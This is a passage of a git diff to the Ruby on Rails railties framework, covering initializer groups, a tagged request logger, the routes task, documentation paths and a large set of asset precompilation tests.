@@ -1,4 +1,4 @@
-# Read about fixtures at http://api.rubyonrails.org/classes/Fixtures.html
+# Read about fixtures at http://api.rubyonrails.org/classes/ActiveRecord/Fixtures.html
<% unless attributes.empty? -%>
one:
diff --git a/railties/lib/rails/generators/test_unit/scaffold/templates/functional_test.rb b/railties/lib/rails/generators/test_unit/scaffold/templates/functional_test.rb
index 01fe6dda7a..9ec2e34545 100644
--- a/railties/lib/rails/generators/test_unit/scaffold/templates/functional_test.rb
+++ b/railties/lib/rails/generators/test_unit/scaffold/templates/functional_test.rb
@@ -26,23 +26,23 @@ class <%= controller_class_name %>ControllerTest < ActionController::TestCase
end
test "should show <%= singular_table_name %>" do
- get :show, <%= key_value :id, "@#{singular_table_name}.to_param" %>
+ get :show, <%= key_value :id, "@#{singular_table_name}" %>
assert_response :success
end
test "should get edit" do
- get :edit, <%= key_value :id, "@#{singular_table_name}.to_param" %>
+ get :edit, <%= key_value :id, "@#{singular_table_name}" %>
assert_response :success
end
test "should update <%= singular_table_name %>" do
- put :update, <%= key_value :id, "@#{singular_table_name}.to_param" %>, <%= key_value singular_table_name, "@#{singular_table_name}.attributes" %>
+ put :update, <%= key_value :id, "@#{singular_table_name}" %>, <%= key_value singular_table_name, "@#{singular_table_name}.attributes" %>
assert_redirected_to <%= singular_table_name %>_path(assigns(:<%= singular_table_name %>))
end
test "should destroy <%= singular_table_name %>" do
assert_difference('<%= class_name %>.count', -1) do
- delete :destroy, <%= key_value :id, "@#{singular_table_name}.to_param" %>
+ delete :destroy, <%= key_value :id, "@#{singular_table_name}" %>
end
assert_redirected_to <%= index_helper %>_path
diff --git a/railties/lib/rails/initializable.rb b/railties/lib/rails/initializable.rb
index 686a2dc0cb..04d5b55c69 100644
--- a/railties/lib/rails/initializable.rb
+++ b/railties/lib/rails/initializable.rb
@@ -10,6 +10,7 @@ module Rails
attr_reader :name, :block
def initialize(name, context, options, &block)
+ options[:group] ||= :default
@name, @context, @options, @block = name, context, options, block
end
@@ -21,6 +22,10 @@ module Rails
@options[:after]
end
+ def belongs_to?(group)
+ @options[:group] == group || @options[:group] == :all
+ end
+
def run(*args)
@context.instance_exec(*args, &block)
end
@@ -44,10 +49,10 @@ module Rails
end
end
- def run_initializers(*args)
+ def run_initializers(group=:default, *args)
return if instance_variable_defined?(:@ran)
initializers.tsort.each do |initializer|
- initializer.run(*args)
+ initializer.run(*args) if initializer.belongs_to?(group)
end
@ran = true
end
diff --git a/railties/lib/rails/paths.rb b/railties/lib/rails/paths.rb
index de3d0b6fc5..b37421c09c 100644
--- a/railties/lib/rails/paths.rb
+++ b/railties/lib/rails/paths.rb
@@ -172,6 +172,10 @@ module Rails
expanded.select { |f| File.exists?(f) }
end
+ def existent_directories
+ expanded.select { |d| File.directory?(d) }
+ end
+
alias to_a expanded
end
end
diff --git a/railties/lib/rails/plugin.rb b/railties/lib/rails/plugin.rb
index ceddd25eaa..3e27688bb9 100644
--- a/railties/lib/rails/plugin.rb
+++ b/railties/lib/rails/plugin.rb
@@ -74,7 +74,8 @@ module Rails
initializer :load_init_rb, :before => :load_config_initializers do |app|
init_rb = File.expand_path("init.rb", root)
if File.file?(init_rb)
- config = app.config
+ # This double assignment is to prevent an "unused variable" warning on Ruby 1.9.3.
+ config = config = app.config
# TODO: think about evaling initrb in context of Engine (currently it's
# always evaled in context of Rails::Application)
eval(File.read(init_rb), binding, init_rb)
diff --git a/railties/lib/rails/rack.rb b/railties/lib/rails/rack.rb
index d4a41b217e..d1ee96f7fd 100644
--- a/railties/lib/rails/rack.rb
+++ b/railties/lib/rails/rack.rb
@@ -1,6 +1,5 @@
module Rails
module Rack
- autoload :ContentLength, "rails/rack/content_length"
autoload :Debugger, "rails/rack/debugger"
autoload :Logger, "rails/rack/logger"
autoload :LogTailer, "rails/rack/log_tailer"
diff --git a/railties/lib/rails/rack/content_length.rb b/railties/lib/rails/rack/content_length.rb
deleted file mode 100644
index 6839af4152..0000000000
--- a/railties/lib/rails/rack/content_length.rb
+++ /dev/null
@@ -1,38 +0,0 @@
-require 'action_dispatch'
-require 'rack/utils'
-
-module Rails
- module Rack
- # Sets the Content-Length header on responses with fixed-length bodies.
- class ContentLength
- include ::Rack::Utils
-
- def initialize(app, sendfile=nil)
- @app = app
- @sendfile = sendfile
- end
-
- def call(env)
- status, headers, body = @app.call(env)
- headers = HeaderHash.new(headers)
-
- if !STATUS_WITH_NO_ENTITY_BODY.include?(status.to_i) &&
- !headers['Content-Length'] &&
- !headers['Transfer-Encoding'] &&
- !(@sendfile && headers[@sendfile])
-
- old_body = body
- body, length = [], 0
- old_body.each do |part|
- body << part
- length += bytesize(part)
- end
- old_body.close if old_body.respond_to?(:close)
- headers['Content-Length'] = length.to_s
- end
-
- [status, headers, body]
- end
- end
- end
-end \ No newline at end of file
diff --git a/railties/lib/rails/rack/logger.rb b/railties/lib/rails/rack/logger.rb
index 3be262de08..89de10c83d 100644
--- a/railties/lib/rails/rack/logger.rb
+++ b/railties/lib/rails/rack/logger.rb
@@ -1,32 +1,46 @@
require 'active_support/core_ext/time/conversions'
+require 'active_support/core_ext/object/blank'
module Rails
module Rack
# Log the request started and flush all loggers after it.
class Logger < ActiveSupport::LogSubscriber
- def initialize(app)
- @app = app
+ def initialize(app, tags=nil)
+ @app, @tags = app, tags.presence
end
def call(env)
- before_dispatch(env)
- @app.call(env)
- ensure
- after_dispatch(env)
+ if @tags
+ Rails.logger.tagged(compute_tags(env)) { call_app(env) }
+ else
+ call_app(env)
+ end
end
protected
- def before_dispatch(env)
+ def call_app(env)
request = ActionDispatch::Request.new(env)
path = request.filtered_path
-
- info "\n\nStarted #{request.request_method} \"#{path}\" " \
- "for #{request.ip} at #{Time.now.to_default_s}"
+ Rails.logger.info "\n\nStarted #{request.request_method} \"#{path}\" for #{request.ip} at #{Time.now.to_default_s}"
+ @app.call(env)
+ ensure
+ ActiveSupport::LogSubscriber.flush_all!
end
- def after_dispatch(env)
- ActiveSupport::LogSubscriber.flush_all!
+ def compute_tags(env)
+ request = ActionDispatch::Request.new(env)
+
+ @tags.collect do |tag|
+ case tag
+ when Proc
+ tag.call(request)
+ when Symbol
+ request.send(tag)
+ else
+ tag
+ end
+ end
end
end
end
diff --git a/railties/lib/rails/railtie.rb b/railties/lib/rails/railtie.rb
index 8c88b25617..07a122e7d0 100644
--- a/railties/lib/rails/railtie.rb
+++ b/railties/lib/rails/railtie.rb
@@ -2,6 +2,7 @@ require 'rails/initializable'
require 'rails/configuration'
require 'active_support/inflector'
require 'active_support/core_ext/module/introspection'
+require 'active_support/core_ext/module/delegation'
module Rails
# Railtie is the core of the Rails framework and provides several hooks to extend
@@ -180,7 +181,7 @@ module Rails
def load_tasks(app=self)
extend Rake::DSL if defined? Rake::DSL
- self.class.rake_tasks.each { |block| block.call(app) }
+ self.class.rake_tasks.each { |block| self.instance_exec(app, &block) }
# load also tasks from all superclasses
klass = self.class.superclass
@@ -195,7 +196,7 @@ module Rails
end
def railtie_namespace
- @railtie_namespace ||= self.class.parents.detect { |n| n.respond_to?(:_railtie) }
+ @railtie_namespace ||= self.class.parents.detect { |n| n.respond_to?(:railtie_namespace) }
end
end
end
diff --git a/railties/lib/rails/tasks/documentation.rake b/railties/lib/rails/tasks/documentation.rake
index 5d613e0698..1e7da5ccae 100644
--- a/railties/lib/rails/tasks/documentation.rake
+++ b/railties/lib/rails/tasks/documentation.rake
@@ -8,6 +8,8 @@ end
# Monkey-patch to remove redoc'ing and clobber descriptions to cut down on rake -T noise
class RDocTaskWithoutDescriptions < RDoc::Task
+ include ::Rake::DSL
+
def define
task rdoc_task_name
@@ -64,43 +66,43 @@ namespace :doc do
rdoc.rdoc_files.include('README')
gem_path('actionmailer') do |actionmailer|
- %w(README.rdoc CHANGELOG MIT-LICENSE lib/action_mailer/base.rb).each do |file|
+ %w(README.rdoc CHANGELOG.md MIT-LICENSE lib/action_mailer/base.rb).each do |file|
rdoc.rdoc_files.include("#{actionmailer}/#{file}")
end
end
gem_path('actionpack') do |actionpack|
- %w(README.rdoc CHANGELOG MIT-LICENSE lib/action_controller/**/*.rb lib/action_view/**/*.rb).each do |file|
+ %w(README.rdoc CHANGELOG.md MIT-LICENSE lib/action_controller/**/*.rb lib/action_view/**/*.rb).each do |file|
rdoc.rdoc_files.include("#{actionpack}/#{file}")
end
end
gem_path('activemodel') do |activemodel|
- %w(README.rdoc CHANGELOG MIT-LICENSE lib/active_model/**/*.rb).each do |file|
+ %w(README.rdoc CHANGELOG.md MIT-LICENSE lib/active_model/**/*.rb).each do |file|
rdoc.rdoc_files.include("#{activemodel}/#{file}")
end
end
gem_path('activerecord') do |activerecord|
- %w(README.rdoc CHANGELOG lib/active_record/**/*.rb).each do |file|
+ %w(README.rdoc CHANGELOG.md lib/active_record/**/*.rb).each do |file|
rdoc.rdoc_files.include("#{activerecord}/#{file}")
end
end
gem_path('activeresource') do |activeresource|
- %w(README.rdoc CHANGELOG lib/active_resource.rb lib/active_resource/*).each do |file|
+ %w(README.rdoc CHANGELOG.md lib/active_resource.rb lib/active_resource/*).each do |file|
rdoc.rdoc_files.include("#{activeresource}/#{file}")
end
end
gem_path('activesupport') do |activesupport|
- %w(README.rdoc CHANGELOG lib/active_support/**/*.rb).each do |file|
+ %w(README.rdoc CHANGELOG.md lib/active_support/**/*.rb).each do |file|
rdoc.rdoc_files.include("#{activesupport}/#{file}")
end
end
gem_path('railties') do |railties|
- %w(README.rdoc CHANGELOG lib/{*.rb,commands/*.rb,generators/*.rb}).each do |file|
+ %w(README.rdoc CHANGELOG.md lib/{*.rb,commands/*.rb,generators/*.rb}).each do |file|
rdoc.rdoc_files.include("#{railties}/#{file}")
end
end
diff --git a/railties/lib/rails/tasks/engine.rake b/railties/lib/rails/tasks/engine.rake
index 2152e811f5..eea8abe7d2 100644
--- a/railties/lib/rails/tasks/engine.rake
+++ b/railties/lib/rails/tasks/engine.rake
@@ -2,6 +2,7 @@ task "load_app" do
namespace :app do
load APP_RAKEFILE
end
+ task :environment => "app:environment"
if !defined?(ENGINE_PATH) || !ENGINE_PATH
ENGINE_PATH = find_engine_path(APP_RAKEFILE)
diff --git a/railties/lib/rails/tasks/misc.rake b/railties/lib/rails/tasks/misc.rake
index 833fcb6f72..0dcca36d8b 100644
--- a/railties/lib/rails/tasks/misc.rake
+++ b/railties/lib/rails/tasks/misc.rake
@@ -1,5 +1,3 @@
-task :default => :test
-
task :rails_env do
# TODO Do we really need this?
unless defined? RAILS_ENV
@@ -14,7 +12,7 @@ task :secret do
end
desc 'List versions of all Rails frameworks and the environment'
-task :about do
+task :about => :environment do
puts Rails::Info
end
diff --git a/railties/lib/rails/tasks/routes.rake b/railties/lib/rails/tasks/routes.rake
index 0c26bcf790..7dc54144da 100644
--- a/railties/lib/rails/tasks/routes.rake
+++ b/railties/lib/rails/tasks/routes.rake
@@ -3,35 +3,7 @@ task :routes => :environment do
Rails.application.reload_routes!
all_routes = Rails.application.routes.routes
- if ENV['CONTROLLER']
- all_routes = all_routes.select{ |route| route.defaults[:controller] == ENV['CONTROLLER'] }
- end
-
- routes = all_routes.collect do |route|
-
- reqs = route.requirements.dup
- rack_app = route.app unless route.app.class.name.to_s =~ /^ActionDispatch::Routing/
-
- endpoint = rack_app ? rack_app.inspect : "#{reqs[:controller]}##{reqs[:action]}"
- constraints = reqs.except(:controller, :action)
-
- reqs = endpoint == '#' ? '' : endpoint
-
- unless constraints.empty?
- reqs = reqs.empty? ? constraints.inspect : "#{reqs} #{constraints.inspect}"
- end
-
- {:name => route.name.to_s, :verb => route.verb.to_s, :path => route.path, :reqs => reqs}
- end
-
- # Skip the route if it's internal info route
- routes.reject! { |r| r[:path] =~ %r{/rails/info/properties|^/assets} }
-
- name_width = routes.map{ |r| r[:name].length }.max
- verb_width = routes.map{ |r| r[:verb].length }.max
- path_width = routes.map{ |r| r[:path].length }.max
-
- routes.each do |r|
- puts "#{r[:name].rjust(name_width)} #{r[:verb].ljust(verb_width)} #{r[:path].ljust(path_width)} #{r[:reqs]}"
- end
+ require 'rails/application/route_inspector'
+ inspector = Rails::Application::RouteInspector.new
+ puts inspector.format(all_routes, ENV['CONTROLLER']).join "\n"
end
diff --git a/railties/lib/rails/test_help.rb b/railties/lib/rails/test_help.rb
index 68f566274d..8d0d8cacac 100644
--- a/railties/lib/rails/test_help.rb
+++ b/railties/lib/rails/test_help.rb
@@ -24,7 +24,7 @@ if defined?(MiniTest)
end
end
-if defined?(ActiveRecord)
+if defined?(ActiveRecord::Base)
require 'active_record/test_case'
class ActiveSupport::TestCase
diff --git a/railties/lib/rails/test_unit/testing.rake b/railties/lib/rails/test_unit/testing.rake
index 33da2c0f5a..52d92cdd96 100644
--- a/railties/lib/rails/test_unit/testing.rake
+++ b/railties/lib/rails/test_unit/testing.rake
@@ -61,6 +61,7 @@ end
# Recreated here from Active Support because :uncommitted needs it before Rails is available
module Kernel
+ remove_method :silence_stderr # Removing old method to prevent method redefined warning
def silence_stderr
old_stderr = STDERR.dup
STDERR.reopen(RbConfig::CONFIG['host_os'] =~ /mswin|mingw/ ? 'NUL:' : '/dev/null')
@@ -71,6 +72,8 @@ module Kernel
end
end
+task :default => :test
+
desc 'Runs test:units, test:functionals, test:integration together (also available: test:benchmark, test:profile, test:plugins)'
task :test do
tests_to_run = ENV['TEST'] ? ["test:single"] : %w(test:units test:functionals test:integration)
@@ -120,8 +123,7 @@ namespace :test do
unit_tests = models.map { |model| "test/unit/#{File.basename(model, '.rb')}_test.rb" }
functional_tests = controllers.map { |controller| "test/functional/#{File.basename(controller, '.rb')}_test.rb" }
-
- unit_tests.uniq + functional_tests.uniq
+ (unit_tests + functional_tests).uniq.select { |file| File.exist?(file) }
end
t.libs << 'test'
diff --git a/railties/railties.gemspec b/railties/railties.gemspec
index b917128885..a7b9407daf 100644
--- a/railties/railties.gemspec
+++ b/railties/railties.gemspec
@@ -12,7 +12,7 @@ Gem::Specification.new do |s|
s.email = 'david@loudthinking.com'
s.homepage = 'http://www.rubyonrails.org'
- s.files = Dir['CHANGELOG', 'README.rdoc', 'bin/**/*', 'guides/**/*', 'lib/**/{*,.[a-z]*}']
+ s.files = Dir['CHANGELOG.md', 'README.rdoc', 'bin/**/*', 'guides/**/*', 'lib/**/{*,.[a-z]*}']
s.require_path = 'lib'
s.bindir = 'bin'
diff --git a/railties/test/application/asset_debugging_test.rb b/railties/test/application/asset_debugging_test.rb
new file mode 100644
index 0000000000..1b99af22a4
--- /dev/null
+++ b/railties/test/application/asset_debugging_test.rb
@@ -0,0 +1,65 @@
+require 'isolation/abstract_unit'
+require 'rack/test'
+
+module ApplicationTests
+ class AssetDebuggingTest < Test::Unit::TestCase
+ include ActiveSupport::Testing::Isolation
+ include Rack::Test::Methods
+
+ def setup
+ build_app(:initializers => true)
+
+ app_file "app/assets/javascripts/application.js", "//= require_tree ."
+ app_file "app/assets/javascripts/xmlhr.js", "function f1() { alert(); }"
+ app_file "app/views/posts/index.html.erb", "<%= javascript_include_tag 'application' %>"
+
+ app_file "config/routes.rb", <<-RUBY
+ AppTemplate::Application.routes.draw do
+ match '/posts', :to => "posts#index"
+ end
+ RUBY
+
+ app_file "app/controllers/posts_controller.rb", <<-RUBY
+ class PostsController < ActionController::Base
+ end
+ RUBY
+
+ ENV["RAILS_ENV"] = "production"
+
+ boot_rails
+ end
+
+ def teardown
+ teardown_app
+ end
+
+ test "assets are concatenated when debug is off and compile is off either if debug_assets param is provided" do
+ # config.assets.debug and config.assets.compile are false for production environment
+ ENV["RAILS_ENV"] = "production"
+ capture(:stdout) do
+ Dir.chdir(app_path){ `bundle exec rake assets:precompile` }
+ end
+ require "#{app_path}/config/environment"
+
+ class ::PostsController < ActionController::Base ; end
+
+ # the debug_assets params isn't used if compile is off
+ get '/posts?debug_assets=true'
+ assert_match(/<script src="\/assets\/application-([0-z]+)\.js" type="text\/javascript"><\/script>/, last_response.body)
+ assert_no_match(/<script src="\/assets\/xmlhr-([0-z]+)\.js" type="text\/javascript"><\/script>/, last_response.body)
+ end
+
+ test "assets aren't concatened when compile is true is on and debug_assets params is true" do
+ app_file "config/initializers/compile.rb", "Rails.application.config.assets.compile = true"
+
+ ENV["RAILS_ENV"] = "production"
+ require "#{app_path}/config/environment"
+
+ class ::PostsController < ActionController::Base ; end
+
+ get '/posts?debug_assets=true'
+ assert_match(/<script src="\/assets\/application-([0-z]+)\.js\?body=1" type="text\/javascript"><\/script>/, last_response.body)
+ assert_match(/<script src="\/assets\/xmlhr-([0-z]+)\.js\?body=1" type="text\/javascript"><\/script>/, last_response.body)
+ end
+ end
+end
diff --git a/railties/test/application/assets_test.rb b/railties/test/application/assets_test.rb
index 7fb930bd99..a22013f81c 100644
--- a/railties/test/application/assets_test.rb
+++ b/railties/test/application/assets_test.rb
@@ -1,3 +1,4 @@
+# -*- coding: utf-8 -*-
require 'isolation/abstract_unit'
require 'active_support/core_ext/kernel/reporting'
require 'rack/test'
@@ -20,8 +21,14 @@ module ApplicationTests
@app ||= Rails.application
end
+ def precompile!
+ quietly do
+ Dir.chdir(app_path){ `bundle exec rake assets:precompile` }
+ end
+ end
+
test "assets routes have higher priority" do
- app_file "app/assets/javascripts/demo.js.erb", "<%= :alert %>();"
+ app_file "app/assets/javascripts/demo.js.erb", "a = <%= image_path('rails.png').inspect %>;"
app_file 'config/routes.rb', <<-RUBY
AppTemplate::Application.routes.draw do
@@ -32,11 +39,13 @@ module ApplicationTests
require "#{app_path}/config/environment"
get "/assets/demo.js"
- assert_match "alert()", last_response.body
+ assert_equal 'a = "/assets/rails.png";', last_response.body.strip
end
test "assets do not require compressors until it is used" do
app_file "app/assets/javascripts/demo.js.erb", "<%= :alert %>();"
+ add_to_env_config "production", "config.assets.compile = true"
+
ENV["RAILS_ENV"] = "production"
require "#{app_path}/config/environment"
@@ -46,29 +55,250 @@ module ApplicationTests
assert defined?(Uglifier)
end
- test "precompile creates the file and gives it the original asset's content" do
+ test "precompile creates the file, gives it the original asset's content and run in production as default" do
app_file "app/assets/javascripts/application.js", "alert();"
app_file "app/assets/javascripts/foo/application.js", "alert();"
- capture(:stdout) do
- Dir.chdir(app_path){ `bundle exec rake assets:precompile` }
- end
+ ENV["RAILS_ENV"] = nil
+ precompile!
+
files = Dir["#{app_path}/public/assets/application-*.js"]
+ files << Dir["#{app_path}/public/assets/application.js"].first
files << Dir["#{app_path}/public/assets/foo/application-*.js"].first
+ files << Dir["#{app_path}/public/assets/foo/application.js"].first
files.each do |file|
assert_not_nil file, "Expected application.js asset to be generated, but none found"
- assert_equal "alert();\n", File.read(file)
+ assert_equal "alert()", File.read(file)
end
end
- test "precompile appends the md5 hash to files referenced with asset_path" do
+ test "precompile application.js and application.css and all other files not ending with .js or .css by default" do
+ app_file "app/assets/javascripts/application.js", "alert();"
+ app_file "app/assets/stylesheets/application.css", "body{}"
+
+ app_file "app/assets/javascripts/someapplication.js", "alert();"
+ app_file "app/assets/stylesheets/someapplication.css", "body{}"
+
+ app_file "app/assets/javascripts/something.min.js", "alert();"
+ app_file "app/assets/stylesheets/something.min.css", "body{}"
+
+ images_should_compile = ["a.png", "happyface.png", "happy_face.png", "happy.face.png",
+ "happy-face.png", "happy.happy_face.png", "happy_happy.face.png",
+ "happy.happy.face.png", "happy", "happy.face", "-happyface",
+ "-happy.png", "-happy.face.png", "_happyface", "_happy.face.png",
+ "_happy.png"]
+
+ images_should_compile.each do |filename|
+ app_file "app/assets/images/#{filename}", "happy"
+ end
+
+ precompile!
+
+ images_should_compile.each do |filename|
+ assert File.exists?("#{app_path}/public/assets/#{filename}")
+ end
+
+ assert File.exists?("#{app_path}/public/assets/application.js")
+ assert File.exists?("#{app_path}/public/assets/application.css")
+
+ assert !File.exists?("#{app_path}/public/assets/someapplication.js")
+ assert !File.exists?("#{app_path}/public/assets/someapplication.css")
+
+ assert !File.exists?("#{app_path}/public/assets/something.min.js")
+ assert !File.exists?("#{app_path}/public/assets/something.min.css")
+ end
+
+ test "asset pipeline should use a Sprockets::Index when config.assets.digest is true" do
+ add_to_config "config.assets.digest = true"
+ add_to_config "config.action_controller.perform_caching = false"
+
+ ENV["RAILS_ENV"] = "production"
+ require "#{app_path}/config/environment"
+
+ assert_equal Sprockets::Index, Rails.application.assets.class
+ end
+
+ test "precompile creates a manifest file with all the assets listed" do
app_file "app/assets/stylesheets/application.css.erb", "<%= asset_path('rails.png') %>"
+ app_file "app/assets/javascripts/application.js", "alert();"
+ # digest is default in false, we must enable it for test environment
+ add_to_config "config.assets.digest = true"
- capture(:stdout) do
- Dir.chdir(app_path){ `bundle exec rake assets:precompile` }
+ precompile!
+ manifest = "#{app_path}/public/assets/manifest.yml"
+
+ assets = YAML.load_file(manifest)
+ assert_match(/application-([0-z]+)\.js/, assets["application.js"])
+ assert_match(/application-([0-z]+)\.css/, assets["application.css"])
+ end
+
+ test "precompile creates a manifest file in a custom path with all the assets listed" do
+ app_file "app/assets/stylesheets/application.css.erb", "<%= asset_path('rails.png') %>"
+ app_file "app/assets/javascripts/application.js", "alert();"
+ # digest is default in false, we must enable it for test environment
+ add_to_config "config.assets.digest = true"
+ add_to_config "config.assets.manifest = '#{app_path}/shared'"
+
+ precompile!
+ manifest = "#{app_path}/shared/manifest.yml"
+
+ assets = YAML.load_file(manifest)
+ assert_match(/application-([0-z]+)\.js/, assets["application.js"])
+ assert_match(/application-([0-z]+)\.css/, assets["application.css"])
+ end
+
+ test "the manifest file should be saved by default in the same assets folder" do
+ app_file "app/assets/javascripts/application.js", "alert();"
+ # digest is default in false, we must enable it for test environment
+ add_to_config "config.assets.digest = true"
+ add_to_config "config.assets.prefix = '/x'"
+
+ precompile!
+
+ manifest = "#{app_path}/public/x/manifest.yml"
+ assets = YAML.load_file(manifest)
+ assert_match(/application-([0-z]+)\.js/, assets["application.js"])
+ end
+
+ test "precompile does not append asset digests when config.assets.digest is false" do
+ app_file "app/assets/stylesheets/application.css.erb", "<%= asset_path('rails.png') %>"
+ app_file "app/assets/javascripts/application.js", "alert();"
+ add_to_config "config.assets.digest = false"
+
+ precompile!
+
+ assert File.exists?("#{app_path}/public/assets/application.js")
+ assert File.exists?("#{app_path}/public/assets/application.css")
+
+ manifest = "#{app_path}/public/assets/manifest.yml"
+
+ assets = YAML.load_file(manifest)
+ assert_equal "application.js", assets["application.js"]
+ assert_equal "application.css", assets["application.css"]
+ end
+
+ test "assets do not require any assets group gem when manifest file is present" do
+ app_file "app/assets/javascripts/application.js", "alert();"
+ add_to_env_config "production", "config.serve_static_assets = true"
+
+ ENV["RAILS_ENV"] = "production"
+ precompile!
+
+ manifest = "#{app_path}/public/assets/manifest.yml"
+ assets = YAML.load_file(manifest)
+ asset_path = assets["application.js"]
+
+ require "#{app_path}/config/environment"
+
+ # Checking if Uglifier is defined we can know if Sprockets was reached or not
+ assert !defined?(Uglifier)
+ get "/assets/#{asset_path}"
+ assert_match "alert()", last_response.body
+ assert !defined?(Uglifier)
+ end
+
+ test "assets raise AssetNotPrecompiledError when manifest file is present and requested file isn't precompiled" do
+ app_file "app/views/posts/index.html.erb", "<%= javascript_include_tag 'app' %>"
+
+ app_file "config/routes.rb", <<-RUBY
+ AppTemplate::Application.routes.draw do
+ match '/posts', :to => "posts#index"
+ end
+ RUBY
+
+ ENV["RAILS_ENV"] = "production"
+ precompile!
+
+ # Create file after of precompile
+ app_file "app/assets/javascripts/app.js", "alert();"
+
+ require "#{app_path}/config/environment"
+ class ::PostsController < ActionController::Base ; end
+
+ get '/posts'
+ assert_match(/AssetNotPrecompiledError/, last_response.body)
+ assert_match(/app.js isn't precompiled/, last_response.body)
+ end
+
+ test "assets raise AssetNotPrecompiledError when manifest file is present and requested file isn't precompiled if digest is disabled" do
+ app_file "app/views/posts/index.html.erb", "<%= javascript_include_tag 'app' %>"
+ add_to_config "config.assets.compile = false"
+
+ app_file "config/routes.rb", <<-RUBY
+ AppTemplate::Application.routes.draw do
+ match '/posts', :to => "posts#index"
+ end
+ RUBY
+
+ ENV["RAILS_ENV"] = "development"
+ precompile!
+
+ # Create file after of precompile
+ app_file "app/assets/javascripts/app.js", "alert();"
+
+ require "#{app_path}/config/environment"
+ class ::PostsController < ActionController::Base ; end
+
+ get '/posts'
+ assert_match(/AssetNotPrecompiledError/, last_response.body)
+ assert_match(/app.js isn't precompiled/, last_response.body)
+ end
+
+ test "precompile properly refers files referenced with asset_path and and run in the provided RAILS_ENV" do
+ app_file "app/assets/stylesheets/application.css.erb", "<%= asset_path('rails.png') %>"
+ # digest is default in false, we must enable it for test environment
+ add_to_env_config "test", "config.assets.digest = true"
+
+ quietly do
+ Dir.chdir(app_path){ `bundle exec rake assets:precompile RAILS_ENV=test` }
end
+ file = Dir["#{app_path}/public/assets/application.css"].first
+ assert_match(/\/assets\/rails\.png/, File.read(file))
file = Dir["#{app_path}/public/assets/application-*.css"].first
- assert_match /\/assets\/rails-([0-z]+)\.png/, File.read(file)
+ assert_match(/\/assets\/rails-([0-z]+)\.png/, File.read(file))
+ end
+
+ test "precompile shouldn't use the digests present in manifest.yml" do
+ app_file "app/assets/stylesheets/application.css.erb", "<%= asset_path('rails.png') %>"
+
+ ENV["RAILS_ENV"] = "production"
+ precompile!
+
+ manifest = "#{app_path}/public/assets/manifest.yml"
+ assets = YAML.load_file(manifest)
+ asset_path = assets["application.css"]
+
+ app_file "app/assets/images/rails.png", "image changed"
+
+ precompile!
+ assets = YAML.load_file(manifest)
+
+ assert_not_equal asset_path, assets["application.css"]
+ end
+
+ test "precompile appends the md5 hash to files referenced with asset_path and run in production as default even using RAILS_GROUPS=assets" do
+ app_file "app/assets/stylesheets/application.css.erb", "<%= asset_path('rails.png') %>"
+ add_to_config "config.assets.compile = true"
+
+ ENV["RAILS_ENV"] = nil
+ quietly do
+ Dir.chdir(app_path){ `bundle exec rake assets:precompile RAILS_GROUPS=assets` }
+ end
+ file = Dir["#{app_path}/public/assets/application-*.css"].first
+ assert_match(/\/assets\/rails-([0-z]+)\.png/, File.read(file))
+ end
+
+ test "precompile should handle utf8 filenames" do
+ filename = "レイルズ.png"
+ app_file "app/assets/images/#{filename}", "not a image really"
+ add_to_config "config.assets.precompile = [ /\.png$/, /application.(css|js)$/ ]"
+
+ precompile!
+ require "#{app_path}/config/environment"
+
+ get "/assets/#{URI.parser.escape(filename)}"
+ assert_match "not a image really", last_response.body
+ assert File.exists?("#{app_path}/public/assets/#{filename}")
end
test "assets are cleaned up properly" do
@@ -76,14 +306,25 @@ module ApplicationTests
app_file "public/assets/application.css", "a { color: green; }"
app_file "public/assets/subdir/broken.png", "not really an image file"
- capture(:stdout) do
+ quietly do
Dir.chdir(app_path){ `bundle exec rake assets:clean` }
end
- files = Dir["#{app_path}/public/assets/**/*"]
+ files = Dir["#{app_path}/public/assets/**/*", "#{app_path}/tmp/cache/*"]
assert_equal 0, files.length, "Expected no assets, but found #{files.join(', ')}"
end
+ test "assets routes are not drawn when compilation is disabled" do
+ app_file "app/assets/javascripts/demo.js.erb", "<%= :alert %>();"
+ add_to_config "config.assets.compile = false"
+
+ ENV["RAILS_ENV"] = "production"
+ require "#{app_path}/config/environment"
+
+ get "/assets/demo.js"
+ assert_equal 404, last_response.status
+ end
+
test "does not stream session cookies back" do
app_file "app/assets/javascripts/demo.js.erb", "<%= :alert %>();"
@@ -109,5 +350,141 @@ module ApplicationTests
assert_match "alert()", last_response.body
assert_equal nil, last_response.headers["Set-Cookie"]
end
+
+ test "files in any assets/ directories are not added to Sprockets" do
+ %w[app lib vendor].each do |dir|
+ app_file "#{dir}/assets/#{dir}_test.erb", "testing"
+ end
+
+ app_file "app/assets/javascripts/demo.js", "alert();"
+
+ require "#{app_path}/config/environment"
+
+ get "/assets/demo.js"
+ assert_match "alert();", last_response.body
+ assert_equal 200, last_response.status
+ end
+
+ test "assets are concatenated when debug is off and compile is off either if debug_assets param is provided" do
+ app_with_assets_in_view
+
+ # config.assets.debug and config.assets.compile are false for production environment
+ ENV["RAILS_ENV"] = "production"
+ precompile!
+
+ require "#{app_path}/config/environment"
+
+ class ::PostsController < ActionController::Base ; end
+
+ # the debug_assets params isn't used if compile is off
+ get '/posts?debug_assets=true'
+ assert_match(/<script src="\/assets\/application-([0-z]+)\.js" type="text\/javascript"><\/script>/, last_response.body)
+ assert_no_match(/<script src="\/assets\/xmlhr-([0-z]+)\.js" type="text\/javascript"><\/script>/, last_response.body)
+ end
+
+ test "assets aren't concatened when compile is true is on and debug_assets params is true" do
+ app_with_assets_in_view
+ add_to_env_config "production", "config.assets.compile = true"
+ add_to_env_config "production", "config.assets.allow_debugging = true"
+
+ ENV["RAILS_ENV"] = "production"
+ require "#{app_path}/config/environment"
+
+ class ::PostsController < ActionController::Base ; end
+
+ get '/posts?debug_assets=true'
+ assert_match(/<script src="\/assets\/application-([0-z]+)\.js\?body=1" type="text\/javascript"><\/script>/, last_response.body)
+ assert_match(/<script src="\/assets\/xmlhr-([0-z]+)\.js\?body=1" type="text\/javascript"><\/script>/, last_response.body)
+ end
+
+ test "assets can access model information when precompiling" do
+ app_file "app/models/post.rb", "class Post; end"
+ app_file "app/assets/javascripts/application.js", "//= require_tree ."
+ app_file "app/assets/javascripts/xmlhr.js.erb", "<%= Post.name %>"
+
+ add_to_config "config.assets.digest = false"
+ precompile!
+ assert_equal "Post;\n", File.read("#{app_path}/public/assets/application.js")
+ end
+
+ test "assets can't access model information when precompiling if not initializing the app" do
+ app_file "app/models/post.rb", "class Post; end"
+ app_file "app/assets/javascripts/application.js", "//= require_tree ."
+ app_file "app/assets/javascripts/xmlhr.js.erb", "<%= defined?(Post) || :NoPost %>"
+
+ add_to_config "config.assets.digest = false"
+ add_to_config "config.assets.initialize_on_precompile = false"
+
+ precompile!
